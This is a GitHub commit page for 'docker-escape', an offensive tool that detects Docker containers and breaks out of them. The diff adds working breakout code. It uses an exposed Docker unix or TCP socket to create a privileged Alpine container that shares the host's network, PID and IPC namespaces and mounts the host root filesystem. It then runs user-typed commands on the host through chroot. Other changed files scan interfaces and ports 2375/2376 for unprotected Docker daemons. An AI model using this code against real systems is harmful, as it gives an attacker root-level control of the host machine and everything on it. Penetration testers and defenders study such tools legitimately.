Skip to content

Commit

Permalink
Merge pull request #7 from PercussiveElbow/unix-socket
Browse files Browse the repository at this point in the history
Static CI build. Move to Docker library. Unix socket support.
  • Loading branch information
PercussiveElbow authored Nov 1, 2020
2 parents 04af305 + 7934611 commit 92ef2cf
Show file tree
Hide file tree
Showing 11 changed files with 124 additions and 167 deletions.
7 changes: 4 additions & 3 deletions .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,15 @@ on: [push]
jobs:
build:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
container:
image: crystallang/crystal
image: crystallang/crystal:nightly-alpine-build
steps:
- uses: actions/checkout@v1
- name: Install dependencies
run: shards install
run: shards install --ignore-crystal-version
- name: Build
run: crystal build -Dpreview_mt --error-trace --release src/docker-escape.cr
run: crystal build --static --error-trace --release src/docker-escape.cr
id: build
- name: Tests
run: crystal spec
Expand Down
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
docker-escape
/lib
19 changes: 13 additions & 6 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,9 +1,16 @@
FROM crystallang/crystal
FROM crystallang/crystal:nightly-alpine-build AS builder
RUN apk update && apk upgrade && apk --no-cache add ca-certificates
COPY ./ /app
WORKDIR /app
RUN shards install --ignore-crystal-version
#RUN crystal build --static --release -Dpreview_mt --error-trace /app/src/docker-escape.cr alpine static+mt broken
RUN crystal build --static --error-trace /app/src/docker-escape.cr
FROM ubuntu:latest
WORKDIR /escape
COPY --from=builder /app/docker-escape /escape/docker-escape
COPY --from=builder /etc/ssl/certs /etc/ssl/certs
RUN useradd -ms /bin/bash notroot
COPY ./ /breakout
WORKDIR /breakout
RUN shards install
RUN chown -R notroot:notroot /breakout
RUN ln -s /etc/ssl/certs/ca-certificates.crt /etc/ssl/cert.pem
RUN chown -R notroot:notroot /escape
USER notroot
RUN crystal build -Dpreview_mt --error-trace src/docker-escape.cr
ENTRYPOINT ./docker-escape auto
5 changes: 0 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,11 +6,6 @@ WIP

This tool will help identify if you're in a Docker container and try some quick escape techniques.

## Todo
* Refactor.
* Move from relying on libcurl to Crystal's inbuilt networking once it gains support for UNIX sockets.
* Improve installing the Docker client inside a container because currently I'm downloading a binary.

## Checks
This script assesss if you're in a container through the following checks:
* Presence of .dockerenv/.dockerinit files
Expand Down
14 changes: 9 additions & 5 deletions shard.yml
Original file line number Diff line number Diff line change
@@ -1,17 +1,21 @@
name: docker-escape
version: 0.1.1
version: 0.1.2

authors:
- your-name-here <your-email-here>
- mil0 (mil0.io)

targets:
docker-escape:
main: src/docker-escape.cr

dependencies:
docker:
github: PercussiveElbow/docker-crystal
branch: master
net_sample:
github: arcage/net_sample.cr

crystal: 0.35.1
github: PercussiveElbow/net_sample.cr
branch: master

crystal: 0.35.1 #targeting 1.0

license: MIT
95 changes: 0 additions & 95 deletions src/breakouts/socket/network_socket_breakout.cr

This file was deleted.

57 changes: 57 additions & 0 deletions src/breakouts/socket/socket_breakout.cr
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
require "http"
require "json"

def socket_breakout(socket : String, port : Int32 = 0 )
section_banner_green("Socket Breakout")
puts("==> Attempting socket breakout via #{socket} socket")
client = setup_docker_client(socket,port)
client.pull_image("alpine:latest")
puts("==> Creating breakout container with host filesystem mounted.")
container_id = client.create_container("alpine:latest", Cmd: "/bin/sh", privileged: true, net: "host", ipc: "host", pid: "host", AttachStdin: false,AttachStdout: true,AttachStderr: true,Tty: true, HostConfig: {"Binds": ["/:/hostOS"]})
if container_id
puts("==> Created container: #{container_id}")
client.start_container(container_id)
puts("==> Started container: #{container_id}")
puts("Started a privileged container. Sharing net/host/ipc namespaces with the host OS filesystem mounted. ".green())
handle_input(client,socket,port,container_id)
end
end

def setup_docker_client(socket,port) # unix socket seems tempermental - getting broken pipe exceptions. Quick fix is just to reinstantiate the client after each exec request
if port > 0
client = Docker::Client.new(socket,port)
else
client = Docker::Client.new(socket)
end
client
end

def handle_input(client,socket,port,container_id)
while(true)
puts("• Enter command to run on privileged host-os mounted container. \"exit\" to quit the shell, or \"cleanup\" to exit and delete the new privileged container.")
command = gets
client = setup_docker_client(socket,port)
if command && command.size() > 0
if command=="cleanup"
client.delete_container(container_id)
puts("==> Privileged breakout container #{container_id} deleted.\n".green)
exit()
elsif command=="exit"
exit()
else
puts("==>Sending command \"#{command}\" to container: #{container_id}".green)
begin
exec_id = client.create_exec(container_id,AttachStdout: true, AttachStdin: false, Tty: true, Cmd: [ "sh", "-c", "chroot /hostOS /bin/sh -c \"#{command}\""])
resp = client.start_exec(exec_id)
if resp != nil
puts("==> Response received from #{container_id} received \n")
puts(resp.yellow)
end
rescue ex
puts("Error when communicating with Docker socket.")
puts(ex)
end
end
end
end
end
17 changes: 0 additions & 17 deletions src/breakouts/socket/unix_socket_breakout.cr

This file was deleted.

61 changes: 31 additions & 30 deletions src/checks/network_socket/network_socket_check.cr
Original file line number Diff line number Diff line change
@@ -1,14 +1,13 @@
require "uri"
require "http/client"
#require "../../utils/network/net_sample"
require "../../utils/network/port_scan"
require "socket"

require "uri"

def is_net_mode_host?
interfaces = NetSample::NIC.ifnames
interfaces.each do | interface |
if interface.includes? "docker"
paths = NetSample::NIC.ifnames
paths.each do | path |
if path.includes? "docker"
puts("\n• We appear to be sharing the host network stack. We can check for services bound to localhost, these may be running on the host OS.")
return true
end
Expand All @@ -20,15 +19,15 @@ def find_network_socket
section_banner("Checking Network Socket")
is_net_mode_host?
url = ""
interfaces = NetSample::NIC.ifnames
interfaces.each do | interface |
ip = NetSample::NIC.inaddr_of(interface)
puts "\n==> Checking network interface #{interface} #{ip}"
paths = NetSample::NIC.ifnames
paths.each do | path |
ip = NetSample::NIC.inaddr_of(path)
puts "\n==> Checking network path #{path} #{ip}"
if ip
url = check_network_socket(ip)
basic_port_scan(ip)
end
puts "==> Finished checking network interface #{interface} #{ip}"
puts "==> Finished checking network path #{path} #{ip}"

if url && url.size > 0
section_banner("Done Checking Network Socket")
Expand All @@ -41,30 +40,32 @@ def find_network_socket
end

def check_network_socket(ip)
default_http = check_for_docker_network_socket("http://#{ip}:2375/")
default_https = check_for_docker_network_socket("https://#{ip}:2376/")
if default_http!=nil && default_http.size>0
return default_http
elif default_https!=nil && default_https.size>0
return default_https
else
return ""
default_http_service = check_for_docker_network_socket("http://#{ip}", 2375, false)
default_https_service = check_for_docker_network_socket("https://#{ip}", 2376, true)
if default_http_service
return default_http_service
elif default_https_service
return default_https_service
end
end

def check_for_docker_network_socket(base_url)
url= base_url + "containers/json"

def check_for_docker_network_socket(path, port, tls)
begin
resp = HTTP::Client.get(url)
if resp != nil && resp.status_code == 200 && !resp.body.empty?
puts("• Docker Daemon possibly found on #{base_url}".green)
return base_url
else
return ""
uri = URI.parse(path) # parsing isnt picking up port
uri.port = port
return_path = path + ":" + port.to_s
host_and_port = [return_path,port]
if tls
client = HTTP::Client.new(uri) # todo add check for self signed TLS
else
client = HTTP::Client.new(uri)
end
rescue
puts("• Couldn't find Docker Daemon running on #{base_url}".red)
return ""
client = Docker::Client.new(path,port)
client.list_containers()
puts("• Docker Daemon possibly found on #{return_path}".green)
return host_and_port
rescue ex
puts("• Couldn't find Docker Daemon running on #{return_path}".red)
puts(ex)
end
end
15 changes: 9 additions & 6 deletions src/docker-escape.cr
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ require "./utils/*"
require "./checks/*"
require "./breakouts/*"
require "net_sample"
require "docker"

def main
logo()
Expand Down Expand Up @@ -55,17 +56,19 @@ end

def attempt_unix_socket_breakout()
if unix_socket_present?
unix_socket_breakout
socket_breakout("/var/run/docker.sock")
end
end

def attempt_network_socket_breakout()
url = find_network_socket
host_and_port = find_network_socket()

if url && url.size>0
#list_running_containers(url)
dump_docker_secrets(url)
network_socket_breakout(url)
if host_and_port
if host_and_port.size()>0
# list_running_containers(url)
# dump_docker_secrets(host_and_port)
socket_breakout(host_and_port[0].to_s,host_and_port[1].to_i)
end
end
end

Expand Down
Empty file added src/enum/socket_enum.cr
Empty file.

0 comments on commit 92ef2cf

Please sign in to comment.